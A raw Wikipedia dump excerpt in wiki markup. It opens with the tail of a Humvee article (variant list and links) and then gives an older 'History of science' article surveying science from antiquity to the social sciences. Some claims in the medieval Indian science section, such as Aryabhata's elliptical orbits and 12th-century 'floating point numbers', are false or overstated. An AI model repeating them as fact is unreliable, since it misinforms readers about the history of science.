*M1025 Armament Carrier, Armored 
*M1026 Armament Carrier, Armored W/W 
*M1035 Soft-Top Ambulance 
*M1036 TOW Armored W/W 
*M1037 S-250 Shelter Carrier 
*M1038 Cargo/Troop Carrier W/W 
*M1042 S-250 Shelter Carrier W/W 
*M1043 Armament Carrier, Up-Armored 
*M1044 Armament Carrier, Up-Armored W/W 
*M1045 TOW Up-Armored Armor 
*M1046 TOW Up-Armored Armor W/W 
*M1069 Tractor for M119 105-mm Gun 
*M1097 Heavy 
*[[M1097 Avenger|M1097 Heavy HMMWV Avenger]] 
*M1109 Up-Armored Armament Carrier 
*M1113 Expanded Capacity 
*M1114 Up-Armored Armament Carrier 
*M1116 Up-Armored HMMWV 
*M1123 Heavy 
*M1121 TOW Armored 
*M1145 Up-Armored HMMWV

==See also==
*[[Technical (fighting vehicle)|Technical]]
*[[Jeep]]
*[[List of &quot;M&quot; series military vehicles]]
*[[Hummer]]
*[[EQ2050]]

==External links==
*[http://www.amgeneral.com/ AM General]
*[http://www.army.mil/fact_files_site/hmmwv/ Army fact file]
*[http://www.defense-update.com/features/du-3-04/up-armored-humvee.htm M1114 Up-Armored Humvee]
*[http://www.globalsecurity.org/military/systems/ground/hmmwv.htm HMMWV variants, specs, and pictures]
*[http://www.csctce.com/demos/hmmwv_char/ HMMWV characteristics]
*[http://paperlined.org/military/reference/HMMWV_pictures.html HMMWV variant pictures]
*[http://www.dragonmodelsusa.com/dmlusa/prodsearch.asp?txtSearch=HMMWV&amp;tbn=1 Dragon USA: HMMWV plastic and diecast models]

[[Category:Military trucks]]
[[Category:Off-road vehicles]]
[[Category:United States Marine Corps equipment]]

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    <title>Hum-Vee</title>
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    <title>Highest common factor</title>
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    <title>History of science</title>
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      <text xml:space="preserve">{{histOfScience}}

Science is a body of verifiable [[empirical knowledge]], a global community of scholars, and a set of techniques for investigating the universe known as the [[scientific method]]. The '''history of science''' traces these phenomena and their precursors back in time, all the way to human [[prehistory]].

The [[Scientific Revolution]] saw the inception of modern scientific methods to guide the evaluation of knowledge. This change is considered to be so fundamental that older inquiries are now known as ''pre-scientific''. Still, many place ancient and medieval [[natural philosophy]] clearly within the scope of the history of science.

The [[history of mathematics]], [[history of technology]], and [[history of philosophy]] are covered in other articles. Mathematics is closely related to, but distinct from science (at least in the modern conception). Technology concerns the creative process of designing useful objects and systems, which differs from the search for empirical truth. Philosophy differs from science in that, while both the [[Natural science|natural]] and the [[social science]]s attempt to base their theories on established fact, philosophy also enquires about other areas of knowledge, notably [[ethics]]. In practice, each of these fields is heavily used by the others as an external tool.

&lt;div style=&quot;float: right; width: 220px; margin-bottom: 1em; &quot;&gt; 
{{portalpar|History of science}}
&lt;/div&gt;

==Theories and sociology of the history of science==
{{main|Theories and sociology of the history of science}}

Much of the study of the history of science has been devoted to answering questions about what science ''is'', how it ''functions'', and whether it exhibits large-scale patterns and trends. The [[sociology of science]] in particular has focused on the ways in which scientists work, looking closely at the ways in which they &quot;produce&quot; and &quot;construct&quot; scientific knowledge. Since the 1960s, a common trend in the [[science studies]] (the study of the sociology and history of science) has been to emphasize the &quot;human component&quot; to scientific knowledge, and to de-emphasize the view that scientific data is self-evident, value-free, and context-free. 

A major subject of concern and controversy in the philosophy of science has been to inquire about the nature of ''theory change'' in science. Three philosophers in particular who represent the primary poles in this debate have been [[Karl Popper]], who argued that scientific knowledge is progressive and cumulative; [[Thomas Kuhn]], who argued that scientific knowledge moves through &quot;[[paradigm shift]]s&quot; and is not necessarily progressive; and [[Paul Feyerabend]], who argued that scientific knowledge is not cumulative or progressive, and that there can be no [[demarcation problem|demarcation]] between science and any other form of investigation.

Since the publication of Kuhn's ''[[The Structure of Scientific Revolutions]]'' in 1962, there has been much debate in the academic community over the meaning and objectivity of &quot;science.&quot; Often, but not always, a conflict over the &quot;truth&quot; of science has split along the lines of those in the scientific community and those in the social sciences or humanities (for example, the &quot;[[Science wars]]&quot;).

==Pre-experimental &quot;science&quot;==
{{main|Pre-experimental science}}

[[Image:Aristotle.jpg|thumb|120px|right|[[Aristotle]] (sculpture)]]

In the West, from [[Classical antiquity|antiquity]] up to the time of the [[Scientific Revolution]], inquiry into the workings of the universe was known as [[natural philosophy]], and those engaged in it were known as ''natural philosophers''. This included some fields of study which are no longer considered scientific. [[Bertrand Russell]]'s ''History of Philosophy'' gives a good account of the historical development of (natural) philosophy. In many cases, systematic learning about the natural world was a direct outgrowth of religion, often as a project of a particular religious community.

One important feature of &quot;pre-scientific&quot; inquiry (whether in the West or elsewhere) was reluctance to engage in experiment. For example, [[Aristotle]], one of the most prolific natural philosophers of antiquity, made countless observations of nature, especially the habits and attributes of plants and animals. Aristotle focused on categorizing. He also made many observations on the large-scale workings of the universe, which led to the development of a comprehensive theory of physics; see [[Physics (Aristotle)]]. Yet, until the period of the [[Scientific Revolution]], the utility of experiment was unproven, which means that theories were never empirically tested. In [[Taoism|Taoist]] philosophy, for example, the tradition of [[wu wei]] (action without action), would deprecate the setting up of ''artificial'' conditions in an experiment in fear they would produce contrived results that could never describe nature as it is in the world around us.

==Early cultures==
{{main articles|[[History of science in early cultures]] and [[Alchemy]]}}

In prehistoric times, advice and knowledge was passed from generation to generation in an [[oral tradition]]. The development of writing enabled knowledge to be stored and communicated across generations with much greater fidelity. Combined with the [[Origins of agriculture|development of agriculture]], which allowed for a surplus of food, it became possible for early civilizations to develop, because more time could be devoted to tasks other than survival.

Many ancient civilizations collected astronomical information in a systematic manner through simple observation.  Though they had no knowledge of the real physical structure of the planets and stars, many theoretical explanations were proposed.

Basic facts about human physiology were known in some places, and [[alchemy]] was practiced in several civilizations. Considerable observation of macrobiotic flora and fauna was also performed.

==The Middle Ages==
{{main|History of science in the Middle Ages}}

With the loss of the [[Western Roman Empire]], much of Europe lost contact with the knowledge of the past. While the [[Byzantine Empire]] still held learning centers such as [[Alexandria]] and [[Constantinople]], Western Europe's knowledge was concentrated in [[Monastery|monasteries]]. Philosophical and scientific teaching of the period was based upon few copies and commentaries of ancient Greek texts that remained in Western Europe.

===Islamic science===
{{main|Islamic science}}

[[Image:Islamic MedText c1500.jpg|thumb|right|Sample of Islamic medical text]]Meanwhile, in the Middle East, Greek philosophy was able to find some support by the newly created Arab [[Caliphate]] (Empire). With the spread of [[Islam]] in the 7th and 8th centuries, a period of Islamic scholarship lasted until the 14th century. This scholarship was aided by several factors. The use of a single language, [[Arabic language|Arabic]], allowed communication without need of a translator. Access to Greek and Roman texts from the [[Byzantine Empire]] along with Indian sources of learning provided Islamic scholars a knowledge base to build upon. In addition, there was the [[Hajj]]. This annual pilgrimage to [[Mecca]] facilitated scholarly collaboration by bringing together people and new ideas from all over the Islamic world.

In Islamic versions of early scientific method, ethics played an important role. During this period the concepts of [[citation]] and [[peer review]] were developed. In mathematics, the [[Persians|Persian]] scholar Muhammad ibn Musa [[al-Khwarizmi]] gave his name to what is now called an [[algorithm]]; the term [[algebra]] is derived from ''al-jabr'', the beginning of the title of one of his publications. [[Sabians|Sabian]] mathematician [[Al-Batani]] (850-929) contributed to astronomy and mathematics and [[Persians|Persian]] scholar [[Al-Razi]] to chemistry. The fruits of these contributions can be seen in [[Damascus steel]] ([[wootz steel]]), and the [[Baghdad Battery]]. Arab alchemy inspired [[Roger Bacon]], and later [[Isaac Newton]]. In astronomy, Al-Batani improved the measurements of [[Hipparchus (astronomer)|Hipparchus]], preserved in the translation of the Greek ''Hè Megalè Syntaxis'' (''The great treatise'') translated as ''[[Almagest]]''. Al-Batani also improved the precision of the measurement of the precession of the earth's axis.

===Medieval Indian science===
:''Main articles: [[Indian science]] and [[Indian science and technology]]''

Before the Middle Ages, Indian philosophers in [[ancient India]] developed [[atomic theory|atomic theories]], which included formulating ideas about the [[atom]] in a systematic manner and propounding ideas about the atomic constitution of the material world. The [[principle of relativity]] was also available in an early embryonic form in the Indian philosophical concept of &quot;''sapekshavad''&quot;. The literal translation of this [[Sanskrit]] word is &quot;''theory of relativity''&quot; (not to be confused with Einstein's [[theory of relativity]]).

By the beginning of the Middle Ages, the [[wootz steel|wootz]], [[crucible steel|crucible]] and [[stainless steel|stainless]] [[steels]] were invented in India. The [[spinning wheel]] used for [[spinning]] [[thread]] or [[yarn]] from fibrous material such as [[wool]] or [[cotton]] was invented in the early Middle Ages. By the end of the middle ages, [[iron]] [[rocket]]s were developed in the [[kingdom of Mysore]] in [[South India]].

[[Aryabhata]] in [[499]] presented a [[heliocentrism|heliocentric]] [[solar system]] of [[gravity|gravitation]] where he presented astronomical and mathematical theories in which the Earth was taken to be spinning on its axis and the [[Orbital period|periods]] of the planets were given as [[ellipse|elliptical]] orbits with respect to the sun. He also believed that the moon and planets shine by reflected sunlight and that the orbits of the planets are ellipses. He carried out accurate calculations of astronomical constants based on this system, such as the periods of the planets, the [[circumference]] of the [[earth]], the [[solar eclipse]] and [[lunar eclipse]], the time taken for a single rotation of the Earth on its axis, the length of earth's revolution around the sun, and the longitudes of planets using eccentrics and [[epicycle]]s. He also introduced a number of [[trigonometric functions]] (including [[sine]], [[versine]], [[cosine]] and inverse sine), [[trigonometry|trigonometric]] tables, and techniques and [[algorithm]]s of [[algebra]]. [[Arabic]] translations of his texts were available in the [[Caliph|Islamic world]] by the [[8th century|8th]]-[[10th century]].

In the [[7th century]], [[Brahmagupta]] briefly described the [[law of gravitation]], and recognized [[gravity]] as a force of attraction. He also lucidly explained the use of [[0 (number)|zero]] as both a [[placeholder]] and a [[decimal digit]], along with the [[Hindu-Arabic numerals]] now used universally thorughout the world. Arabic translations of his texts (around [[770]]) introduced this number system to the Islamic world, where it was adapted as [[Arabic numerals]]. [[Islam]]ic scholars carried knowledge of this number system to [[Europe]] by the [[12th century]] and it has now displaced all older number systems throughout the world.

The ''Siddhanta Shiromani'' was a mathematical astronomy text written by [[Bhaskara]] in the [[12th century]]. The 12 chapters of the first part cover topics such as: mean longitudes of the planets; true longitudes of the planets; the three problems of diurnal rotation; syzygies; lunar eclipses; solar eclipses; latitudes of the planets; risings and settings; the moon's crescent; conjunctions of the planets with each other; conjunctions of the planets with the fixed stars; and the patas of the sun and moon. The second part contains thirteen chapters on the sphere. It covers topics such as: praise of study of the sphere; nature of the sphere; cosmography and geography; planetary mean motion; eccentric epicyclic model of the planets; the armillary sphere; spherical trigonometry; ellipse calculations; first visibilities of the planets; calculating the lunar crescent; astronomical instruments; the seasons; and problems of astronomical calculations.

From the [[12th century]], [[Bhaskara]] and various [[Kerala School|Keralese mathematicians]] first conceived [[differential calculus]], [[mathematical analysis]], [[trigonometric]] [[series (mathematics)|series]], [[floating point]] numbers, and concepts foundational to the overall development of [[calculus]].

===European renaissance from the 12th century===
{{main articles|[[Renaissance of the 12th century]], [[Scholasticism]], and [[Medieval technology]]}}
[[Image:Map_of_Medieval_Universities.JPG|left|thumb|''Map of [[Medieval university|Medieval Universities]]'']]
An intellectual revitalization of Europe started with the birth of [[Medieval university|medieval universities]] in the 12th century. The contact with the Islamic world in Spain and Sicily after the [[Reconquista]] and during the [[Crusades]] allowed Europeans access to preserved copies of the Ancient Greek and Roman works along with the works of Islamic philosophers, specially [[Averroes]]. The European universities aided materially in the translation and propagation of these texts and started a new infrastructure which was needed for scientific communities.

At the beginning of the 13th century there were reasonably accurate Latin translations of the main works of almost all the intellectually crucial ancient authors. By then, the natural philosophy contained in these texts began to be extended by notable [[scholastics]] such as [[Robert Grosseteste]], [[Roger Bacon]], [[Albertus Magnus]] and [[Duns Scotus]]. Precursors of the modern scientific method can be seen already in Grosseteste's emphasis on mathematics as a way to understand nature, and in the empirical approach admired by Bacon. According to [[Pierre Duhem]], the [[Condemnation of 1277]] led to the birth of modern science, because it forced thinkers to break from relying so much on [[Aristotle]], and to think about the world in new ways.

The first half of the 14th century saw the scientific work of great thinkers. [[William of Ockham]] introduced the principle of [[parsimony]]: philosophy should only concern itself with subjects on whom it could achieve real knowledge. This should lead to a decline in fruitless debates and move ''natural philosophy'' toward ''science''. Scholars such as [[Jean Buridan]] and [[Nicolas Oresme]] started to question the received wisdom of Aristotle's mechanics. In particular, Buridan developed the theory of impetus which was a first step towards the modern concept of [[inertia]].

[[Image:Vitruvian.jpg|right|thumb|140px|[[Leonardo da Vinci]]'s [[Vitruvian Man]], an example of the blend of art and science during the Renaissance]]
In 1348, the [[Black Death]] and other disasters sealed a sudden end to the previous period of massive philosophic and scientific development. Yet, the rediscovery of ancient texts was improved after the [[Fall of Constantinople]] in 1453, when many [[Byzantine Empire|Byzantine]] scholars had to seek refuge in the West. Meanwhile, the invention of printing was to have great effect on European society. The facilitated dissemination of the printed word democratized learning and allowed a faster propagation of new ideas. These developments paved the way for the [[Scientific Revolution]], which may also be understood as a resumation of the process of scientific change, halted at the start of the Black Death.

==The Scientific Revolution==
{{main|Scientific Revolution}}

[[Image:GodfreyKneller-IsaacNewton-1689.jpg|thumb|120px|left|[[Isaac Newton]]]]

Modern science in Europe began in a period of great upheaval. The [[Protestant Reformation]], the discovery of the Americas by [[Christopher Columbus]], the [[Fall of Constantinople]], the [[Spanish Inquisition]], but also the re-discovery of Aristotle in the twelfth and thirteenth centuries presaged large social and political changes. Thus, a suitable environment was created in which it became possible to question scientific doctrine, in much the same way that [[Martin Luther]] and [[John Calvin]] questioned religious doctrine. The works of [[Ptolemy]] (astronomy), [[Galen]] (medicine), and [[Aristotle]] (physics) were found not always to match everyday observations. For example, an arrow flying through the air after leaving a bow contradicts Aristotle's laws of motion, which say that a moving object must be constantly under influence of an external force, as the natural state of earthly objects is to be at rest. Work by [[Vesalius]] on human cadavers also found problems with the Galenic view of anatomy.

[[Image:1543,AndreasVesalius'Fabrica,BaseOfTheBrain.jpg|thumb|120px|right|[[Vesalius]]' experiments inspired interest in human anatomy.]]

The willingness to question previously held truths and search for new answers resulted in a period of major scientific advancements, now known as the [[Scientific Revolution]]. The Scientific Revolution is held by most historians to have begun in 1543, when ''[[De Revolutionibus Orbium Coelestium |De Revolutionibus]]'', by the astronomer [[Nicolaus Copernicus]], was first printed. The thesis of this book was that the Earth moved around the Sun. The period culminated with the publication of the ''[[Philosophiae Naturalis Principia Mathematica]]'' in 1687 by [[Isaac Newton]].

Other significant scientific advances were made during this time by [[Galileo Galilei]], [[Edmond Halley]], [[Robert Hooke]], [[Christiaan Huygens]], [[Johannes Kepler]], [[Gottfried Leibniz]], and [[Blaise Pascal]]. In philosophy, major contributions were made by [[Francis Bacon (philosopher)|Francis Bacon]], Sir [[Thomas Browne]], [[René Descartes]], and [[Thomas Hobbes]]. The basics of scientific method were also developed: the new way of thinking emphasized experimentation and reason over traditional considerations.

==Modern science==
[[Image:Einstein patentoffice.jpg|thumb|right|130px|[[Albert Einstein]] ]]
The Scientific Revolution established science as the preeminent source for the growth of knowledge. During the 19th century, the practice of science became professionalized and institutionalized in ways which would continue through the 20th century, as the role of scientific knowledge grew and became incorporated with many aspects of the functioning of nation-states.

===&lt;U&gt;[[Natural science]]s&lt;/U&gt;===
====Physics====
{{main|History of physics}}

The Scientific Revolution is a convenient boundary between ancient thought and classical physics. [[Nicolaus Copernicus]] revived the [[heliocentric]] model of the solar system first devised by [[Aristarchus of Samos]]. This was followed by the first known model of planetary motion given by [[Johannes Kepler|Kepler]] in the early 17th century, which proposed that the planets follow [[ellipse|elliptical]] orbits, with the Sun at one focus of the ellipse. Also, [[Galileo Galilei|Galileo]] pioneered the use of experiment to validate physical theories, a key idea in scientific method. 
[[Image:James Clerk Maxwell.jpg|thumb|right|140px|[[James Clerk Maxwell]]]]
In 1687, [[Isaac Newton]] published the ''[[Philosophiae Naturalis Principia Mathematica|Principia Mathematica]],'' detailing two comprehensive and successful physical theories: [[Newton's laws of motion]], which lead to classical mechanics; and [[gravity|Newton's Law of Gravitation]], which describes the fundamental force of gravity. The behavior of electricity and magnetism was studied by [[Michael Faraday|Faraday]], [[Georg Ohm|Ohm]], and others during the early 19th century. These studies led to the unification of the two phenomena into a single theory of [[electromagnetism]], by [[James Clerk Maxwell|Maxwell]] (known as [[Maxwells equations|Maxwell's equations]]).
[[Image:Universe expansion.png|thumb|left|Diagram of the [[expanding universe]]]]
The beginning of the 20th century brought the start of a revolution in physics.  The long-held theories of Newton were shown not to be correct in all circumstances.  Beginning in 1900, [[Max Planck]], [[Albert Einstein]], [[Niels Bohr]] and others developed quantum theories to explain various anomalous experimental results, by introducing discrete energy levels. Not only did quantum mechanics show that the laws of motion did not hold on small scales, but even more disturbingly, the theory of [[general relativity]], proposed by Einstein in 1915, showed that the fixed background of [[spacetime]], on which both [[Newtonian mechanics]] and [[special relativity]] depended, could not exist. In 1925, [[Werner Heisenberg]] and [[Erwin Schrödinger]] formulated [[quantum mechanics]], which explained the preceding quantum theories. The observation by [[Edwin Hubble]] in 1929 that the speed at which galaxies recede positively correlates with their distance, led to the understanding that the universe is expanding, and the formulation of the [[Big Bang]] theory by [[George Gamow]].

[[Image:Trinity explosion.jpg|thumb|right|The development of the [[atomic bomb]] ushered in the era of &quot;[[Big Science]]&quot; in physics.]]

Further developments took place during World War II, which led to the practical application of [[radar]] and the development and use of the [[atomic bomb]]. Though the process had begun with the invention of the [[cyclotron]] by [[Ernest O. Lawrence]] in the 1930s, physics in the postwar period entered into a phase of what historians have called &quot;[[Big Science]]&quot;, requiring massive machines, budgets, and laboratories in order to test their theories and move into new frontiers. The primary patron of physics became state governments, who recognized that the support of &quot;basic&quot; research could often lead to technologies useful to both military and industrial applications. Currently, general relativity and quantum mechanics are inconsistent with each other, and efforts are underway to unify the two.

====Chemistry====
{{main|History of chemistry}}

[[Image:LinusPauling.jpeg|thumb|150px|left|[[Linus Pauling]]]]
The history of chemistry begins with the distinction of chemistry from [[alchemy]] by [[Robert Boyle]] in his work ''The Skeptical Chymist'' (1661). It can also be dated to [[Antoine Lavoisier]]'s discovery of oxygen and the law of [[conservation of mass]], which refuted [[phlogiston theory]].  Proof that all matter is made of atoms, which are the smallest indestructible part of matter, was provided by [[John Dalton]] in 1803. He also formulated the law of mass relationships. In 1869, [[Dmitry Mendeleyev]] composed his [[periodic table]] of elements on the basis of Dalton's discoveries.

The synthesis of [[urea]] by [[Friedrich Wöhler]] opened a new research field in chemistry, and by the end of the 19th century, scientists were able to synthesize hundreds of organic compounds. The later part of the nineteenth century saw the exploitation of the Earth's petrochemicals, after the exhaustion of the oil supply from [[whaling]]. By the twentieth century, systematic production of refined materials provided a ready supply of products which provided not only energy, but also synthetic materials for clothing, medicine, and everyday disposable resources. The twentieth century also saw the integration of physics and chemistry, with chemical properties explained as the result of the electronic structure of the atom; [[Linus Pauling]]'s book on ''The Nature of the Chemical Bond'' used the principles of quantum mechanics to deduce [[bond angle]]s in ever-more complicated molecules, culminating in the physical modelling of [[DNA]], or (in the words of [[Francis Crick]]) ''the secret of life''. In the same year, the [[Miller-Urey experiment]] demonstrated in a simulation of primordial processes, that basic constituents of DNA, simple [[amino acid]]s, could themselves be built up from simpler molecules.

====Geology====
{{main|Geology}}

Chinese polymath [[Shen Kua]] (1031 - 1095) was the first to formulate hypotheses for the process of land formation. Based on his observation of fossils in a geological [[stratum]] in a mountain hundreds of miles from the ocean, he deduced that the land was formed by erosion of the mountains and by [[Deposition (geology)|deposition]] of silt.

[[Image:Wegener.jpg|thumb|130px|right|[[Plate tectonics]] - [[seafloor spreading]] and [[continental drift]] illustrated on relief globe]]

[[Theophrastus]]' work on rocks ''Peri lith&amp;#333;n'' remained authoritative for millennia: its interpretation of fossils was not overturned until after the Scientific Revolution. During the 1700s [[Jean-Etienne Guettard]] and [[Nicolas Desmarest]] hiked central France and recorded their observations on geological maps; Guettard recorded the first observation of the volcanic origins of this part of France. [[James Hutton]] recorded his ''Theory of the Earth'' in 1788, which would later be refered to as ''[[Uniformitarianism (science)|Uniformitarianism]]''. In 1811, [[Georges Cuvier]] and [[Alexandre Brongniart]] published their explanation of the antiquity of the Earth, inspired by Cuvier's discovery of fossil elephant bones in Paris. They formulated the principle of [[Stratigraphy|stratigraphic]] succession of the layers of the earth. [[Charles Lyell]]'s ''Principles of Geology'' reiterated Hutton's Uniformitarianism, which influenced [[Charles Darwin]].

In the 20th century, the main development has been the theory of [[plate tectonics]] in the 1960s. Plate tectonic theory (which revolutionized  The theory the [[Earth sciences]]) arose out of two separate geological observations: [[seafloor spreading]] and [[continental drift]].

====Astronomy====
{{main|History of astronomy}}

Advances in astronomy and in optical systems in the 19th century resulted in the first observation of an [[asteroid]] ([[Ceres]]) in [[1801]], and the discovery of [[Neptune (planet)|Neptune]] in [[1846]].

[[George Gamow]], [[Ralph Alpher]], and [[Robert Hermann]] had calculated that there should be evidence for a Big Bang in the background temperature of the universe{{fn|1}}. In 1964, [[Arno Penzias]] and [[Robert Wilson]]{{fn|2}} discovered a 3 kelvin background hiss in their [[Bell Labs]] [[radiotelescope]], which was evidence for this hypothesis, and formed the basis for a number of results that helped determine the [[age of the universe]].

Supernova [[SN1987A]] was observed by astronomers on Earth both visually, and in a triumph for [[neutrino astronomy]], by the solar neutrino detectors at [[Kamiokande]]. But the solar neutrino flux was [[solar neutrino problem|a fraction of its theoretically-expected value]]. This discrepancy forced a change in some values in the [[standard model]] for [[particle physics]].

====Biology, medicine, and genetics====
{{main articles|[[History of biology]], [[History of medicine]] and [[History of evolutionary thought]]}}
[[Image:dna-split.png|thumb|left|140px|Semi-conservative [[DNA]] replication.]]

In 1847, Hungarian physician [[Ignaz Semmelweis|Ignác Fülöp Semmelweis]] dramatically reduced the occurrency of [[puerperal fever]] by the simple experiment of requiring physicians to wash their hands before attending to women in childbirth. This discovery predated the [[germ theory of disease]]. However, Semmelweis' findings were not appreciated by his contemporaries and came into use only with discoveries by British surgeon [[Joseph Lister]], who in 1865 proved the principles of [[antisepsis]]. Lister's work was based on the important findings by French biologist [[Louis Pasteur]]. Pasteur was able to link microorganisms with disease, revolutionizing medicine. He also devised one of the most important methods in [[preventive medicine]], when in 1880 he produced a [[vaccine]] against [[rabies]]. Pasteur invented the process of [[pasteurization]], to help prevent the spread of disease through milk and other foods.

Perhaps the most prominent and far-reaching theory in all of science has been the theory of [[evolution]] by [[natural selection]] put forward by the British naturalist [[Charles Darwin]] in his ''On [[the Origin of Species]]'' in 1859. Darwin's theory proposed that all differences in animals were formed by natural processes over long periods of time, and that even [[human]]s were simply evolved organisms. Implications of evolution on fields outside of pure science have led to both [[Social effect of evolutionary theory|opposition and support]] from different parts of society, and profoundly influenced the popular understanding of &quot;man's place in the universe&quot;. In the early 20th century, the study of heredity became a major investigation after the rediscovery in 1900 of the laws of inheritance developed by the Austrian monk [[Gregor Mendel]] in 1866. Mendel's laws provided the beginnings of the study of [[genetics]], which became a major field of research for both scientific and industrial research. By 1953, [[James Watson]] and [[Francis Crick]] clarified the basic structure of DNA, the [[genetic material]] for expressing life in all its forms{{fn|3}}. In the late 20th century, the possibilities of [[genetic engineering]] became practical for the first time, and a massive international effort began in 1990 to map out an entire human [[genome]] (the [[Human Genome Project]]) has been touted as potentially having large medical benefits.

====Ecology====
{{main|History of ecology}}
[[Image:NASA-Apollo8-Dec24-Earthrise.jpg|thumb|right|Earthrise over the [[Moon]], [[Apollo 8]], [[NASA]].  This image helped create awareness of the finiteness of Earth, and the limits of its [[natural resource]]s.]]

The discipline of [[ecology]] typically traces its origin to the synthesis of [[evolution|Darwinian evolution]] and [[Alexander von Humboldt|Humboldtian]] [[biogeography]], in the late 19th and early 20th centuries.  Equally important in the rise of ecology, however, were [[microbiology]] and [[soil science]]&amp;mdash;particularly the [[biogeochemical cycle|cycle of life]] concept, prominent in the work [[Louis Pasteur]] and [[Ferdinand Cohn]].  The word ''ecology'' was coined by [[Ernst Haeckel]], whose particularly holistic view of nature in general (and Darwin's theory in particular) was important in the spread of ecological thinking.  In the 1930's, [[Arthur Tansley]] and others began developing the field of [[ecosystem ecology]], which combined experimental soil science with physiological concepts of energy and the techniques of [[natural history|field biology]].  The history of ecology in the 20th century is closely tied to that of [[environmentalism]]; the [[Gaia hypothesis]] in the 1960s and more recently the scientific-religious movement of [[Deep Ecology]] have brought the two closer together.

===&lt;U&gt;Social sciences&lt;/U&gt;===
Successful use of the scientific method in the physical sciences led to the same methodology being adapted to better understand the many fields of human endeavor.  From this effort the social sciences have been developed.

====Political science====
:''Main article: [[Political science#History of political science|History of political science]]''

One of the basic requirements for a scientific community is the existence  and approval of a political sponsor; in England, the [[Royal Society]] operates under the aegis of the [[monarchy]];  in the US, the [[National Academy of Sciences]] was founded by Act of Congress; etc. 
Otherwise, when the basic elements of knowledge were being formulated, the political rulers of the respective communities could choose to arbitrarily either support or disallow the nascent scientific communities. For example, [[Alhazen]] had to feign madness to avoid execution. The polymath [[Shen Kuo]] lost political support, and could not continue his studies until he came up with discoveries that showed his worth to the political rulers. The admiral [[Zheng He]] could not continue his voyages of exploration after the emperors withdrew their support. Another famous example was the suppression of the work of Galileo, and before him, [[Giordano Bruno]], burned at the stake, for his statements on [[cosmology]]; by the twentieth century, Galileo would be pardoned.

====Linguistics====
{{main|History of linguistics}}

[[historical linguistics|Historical linguistics]] emerged as an independent field of study at the end of the 18th century.  [[William Jones (philologist)|Sir William Jones]] proposed that [[Sanskrit]], [[Persian language|Persian]], [[Greek language|Greek]], [[Latin]], [[Gothic language|Gothic]], and [[Celtic languages|Celtic]] languages all shared a common base. After Jones, an effort to catalog all languages of the world was made throughout the 19th century and into the 20th century. Publication of [[Ferdinand de Saussure]]'s ''[[Cours de linguistique générale]]'' spawned the development of [[descriptive linguistics]]. Descriptive linguistics, and the related [[structuralism]] movement caused linguistics to focus on how language changes over time, instead of just describing the differences between languages. [[Noam Chomsky]] further diversified linguistics with the development of [[generative linguistics]] in the 1950s.  His effort is based upon a mathematical model of language that allows for the description and prediction of valid [[semantics]].  Additional specialties such as [[sociolinguistics]], [[cognitive linguistics]], and [[computational linguistics]] have emerged from collaboration between linguistics and other disciplines.

====Economics====
{{main|History of economic thought}}

[[Image:Supply-demand-P.png|thumb|130px|left|The [[supply and demand]] model]]

The basis for [[classical economics]] forms [[Adam Smith]]'s ''[[The Wealth of Nations|An Inquiry into the Nature and Causes of the Wealth of Nations]]'', published in 1776.  Smith criticized [[mercantilism]], advocating a system of free trade with [[division of labour]].  He postulated an &quot;[[Invisible Hand]]&quot; that large economic systems could be self-regulating through a process of enlightened self-interest. [[Karl Marx]] developed an alternative economical system, called [[Marxian economics]]. Marxian economics is based on the [[labor theory of value]] and assumes the value of good to be based on the amount of labor required to produce it.  Under this assumption, [[capitalism]] was based on employeers not paying the full value of workers labor to create profit. The [[Austrian school]] responded to Marxian economics by viewing [[entrepreneurship]] as driving force of economic development. This replaced the labor theory of value by a system of [[supply and demand]].

In the 1920s, [[John Maynard Keynes]] prompted a division between [[microeconomics]] and [[macroeconomics]].  Under [[Keynesian economics]] macroeconomic trends can overwhelm economic choices made by individuals. Governments should promote [[aggregate demand]] for goods as a means to encourage economic expansion. Following World War II, [[Milton Friedman]] created the concept of [[monetarism]]. Monetarism focuses on using the supply and demand of money as a method for controlling economic activity. In the 1970s, monetarism has adapted into [[supply-side economics]] which advocates reducing taxes as a means to increase the amount of money available for economic expansion.

Other modern schools of economic thought are [[New Classical economics]] and [[New Keynesian economics]].  New Classical economics was developed in the 1970s, emphasizing solid microeconomics as the basis for macroeconomic growth. New Keynesian economics was created partially in response to New Classical economics, and deals with how inefficiencies in the market create a need for control by a central bank or government.

====Psychology====
{{main|History of psychology}}
[[Image:Freud Sofa.JPG|thumb|right|[[Sigmund Freud]]'s couch]]

The end of the 19th century marks the start of psychology as a scientific enterprise. The year 1879 is commonly seen as the start of psychology as an independent field of study. In that year [[Wilhelm Wundt]] founded the first laboratory dedicated exclusively to psychological research (in [[Leipzig]]). Other important early contributors to the field include [[Hermann Ebbinghaus]] (a pioneer in memory studies), [[Ivan Pavlov]] (who discovered [[classical conditioning]]), and [[Sigmund Freud]]. Freud's influence has been enormous, though more as cultural icon than a force in scientific psychology. Freud's basic theories postulated the existence in humans of various unconscious and instinctive &quot;drives&quot;, and that the &quot;self&quot; existed as a perpetual battle between the desires and demands of the internal [[Ego, Superego and Id|id, ego, and superego]].

The 20th century saw a rejection of Freud's theories as being too unscientific, and a reaction against [[Edward Titchener]]'s atomistic approach of the mind. This led to the formulation of [[behaviorism]] by [[John B. Watson]], which was popularized by [[B.F. Skinner]]. Behaviorism proposed [[epistemology|epistemologically]] limiting psychological study to overt behavior, since that could be reliably measured. Scientific knowledge of the &quot;mind&quot; was considered too metaphysical, hence impossible to achieve. The final decades of the 20th century have seen the rise of a new interdisciplinary approach to studying human psychology, known collectively as [[cognitive science]]. Cognitive science again considers the mind as a subject for investigation, using the tools of [[evolutionary psychology]], [[linguistics]], [[computer science]], [[philosophy]], and [[neurobiology]]. This new form of investigation has proposed that a wide understanding of the human mind is possible, and that such an understanding may be applied to other research domains, such as [[artificial intelligence]].

====Sociology====
{{main|History of sociology}}

[[Image:Max Weber.jpg|right|thumb|150px|[[Max Weber]] was a strong influence in the history of [[sociology]].]]

[[Ibn Khaldun]] is regarded as the founder of modern sociology. As a scientific discipline, sociology emerged in the early 19th century as the academic response to the modernization of the world. Among many early sociologists (e.g., [[Émile Durkheim]]), the aim of sociology was in [[Functionalism (sociology)|structuralism]], understanding the cohesion of social groups, and developing an &quot;antidote&quot; to social disintegration. [[Max Weber]] was concerned with the modernization of society through the concept of [[rationalization (sociology)|rationalization]], which he believed would trap individuals in an &quot;iron cage&quot; of rational thought. Some sociologists, including [[Georg Simmel]] and [[W. E. B. Du Bois]], utilized more [[microsociology|microsociological]], qualitative analyses. This microlevel approach played an important role in American sociology, with the theories of [[George Herbert Mead]] and his student [[Herbert Blumer]] resulting in the creation of the [[symbolic interactionism]] approach to sociology.

